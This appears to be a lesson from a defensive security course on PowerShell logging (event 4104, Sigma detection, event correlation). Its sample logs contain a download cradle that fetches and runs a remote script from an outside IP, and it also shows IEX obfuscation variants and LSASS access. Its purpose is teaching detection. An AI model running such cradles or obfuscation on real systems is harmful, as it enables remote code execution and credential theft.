Lesson 5 of 6 · 25 min read

PowerShell & Scripting Telemetry — ScriptBlock, Module, Transcription Logging

PowerShell is the most detection-rich attack surface on Windows — and the most frequently abused scripting engine by adversaries. Understanding the three logging layers (ScriptBlock, Module, Transcription) determines whether you can see what attackers actually ran.


The Three PowerShell Logging Layers

Logging TypeEventIDWhat it capturesNoise levelEnable via
Script Block4104Script content (decoded)MediumGPO: ScriptBlock logging
Module4103Executed commands + outputHighGPO: Module logging
TranscriptionText fileAll I/O to text filesMediumGPO: Transcription

Enable all three via Group Policy:

Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell
  ✓ Turn on Script Block Logging
  ✓ Turn on Module Logging (set Module Names to *)
  ✓ Turn on PowerShell Transcription (set output directory to a network share)

ScriptBlock Logging: Your Primary Detection Source

Event 4104 is generated every time PowerShell compiles a script block. For a multi-file script, you get one 4104 per logical block. The critical field is ScriptBlockText — the actual script content after any decoding.

Windows Event Log (EVTX) — PowerShell Script Block Log — Event 4104 (Base64-encoded command)
<Event>
  <System>
    <Provider Name="Microsoft-Windows-PowerShell" Guid="{A0C1853B-5C40-4B15-8766-3CF1C58F985A}" />
    <EventID>4104</EventID>
    <TimeCreated SystemTime="2024-03-15T09:23:14.882Z" />
    <Computer>WORKSTATION01.corp.local</Computer>
  </System>
  <EventData>
    <Data Name="MessageNumber">1</Data>
    <Data Name="MessageTotal">1</Data>
    <Data Name="ScriptBlockText">
      IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.5/stage2.ps1')
    </Data>
    <Data Name="ScriptBlockId">{f45a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c}</Data>
    <Data Name="Path"></Data>
  </EventData>
</Event>

The attacker ran: powershell.exe -enc SUVY... (a base64-encoded command). The 4688/Sysmon Event 1 shows the base64. Event 4104 shows what was inside: an IEX download cradle fetching a remote script from a suspicious IP.

Key 4104 detection patterns

# Sigma: PowerShell download cradle detection
title: PowerShell Download Cradle
logsource:
  product: windows
  service: powershell
  definition: Script Block Logging must be enabled
detection:
  keywords:
    - 'DownloadString('
    - 'DownloadData('
    - 'WebClient'
    - 'Invoke-WebRequest'
    - 'Net.WebClient'
    - 'Start-BitsTransfer'
    - 'bitsadmin'
  condition: keywords
falsepositives:
  - Legitimate administrative scripts downloading updates
level: medium

Obfuscation vs ScriptBlock Logging

ScriptBlock logging captures script content after the PowerShell engine decodes it. This makes it resistant to many obfuscation techniques:

Obfuscation techniqueScriptBlock captures…
-enc SGVsbG8= (base64)Decoded script
"I"+"EX" (string concat)IEX (after concatenation)
[System.Text.Encoding]::UTF8.GetString(...)Decoded string result
Tick mark obfuscation iexiex (ticks removed)
Variable-based obfuscation $a='IE'; $b='X'; &($a+$b)The called string IEX

However — ScriptBlock logging is blind to:


Correlating Across Log Sources

For a complete picture of a PowerShell attack:

Sysmon Event 1:
  Image: powershell.exe
  CommandLine: powershell.exe -NoP -sta -NonI -W Hidden -Enc SGVsbG8=
  ProcessGuid: {abc-123}

PowerShell Event 4104:
  ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.5/...')
  ProcessGuid: {abc-123}  ← correlate on ProcessGuid

Sysmon Event 3:
  Image: powershell.exe
  ProcessGuid: {abc-123}  ← same process
  DestinationIp: 185.220.101.5
  DestinationPort: 80

Sysmon Event 10 (if process injection follows):
  SourceImage: powershell.exe
  SourceProcessGuid: {abc-123}
  TargetImage: lsass.exe
  GrantedAccess: 0x1010

This chain — encoded command → download cradle → network connection → LSASS access — is detectable in full because ProcessGuid links all four events to the same process instance.

PowerShell Logging on Windows— Microsoft Docs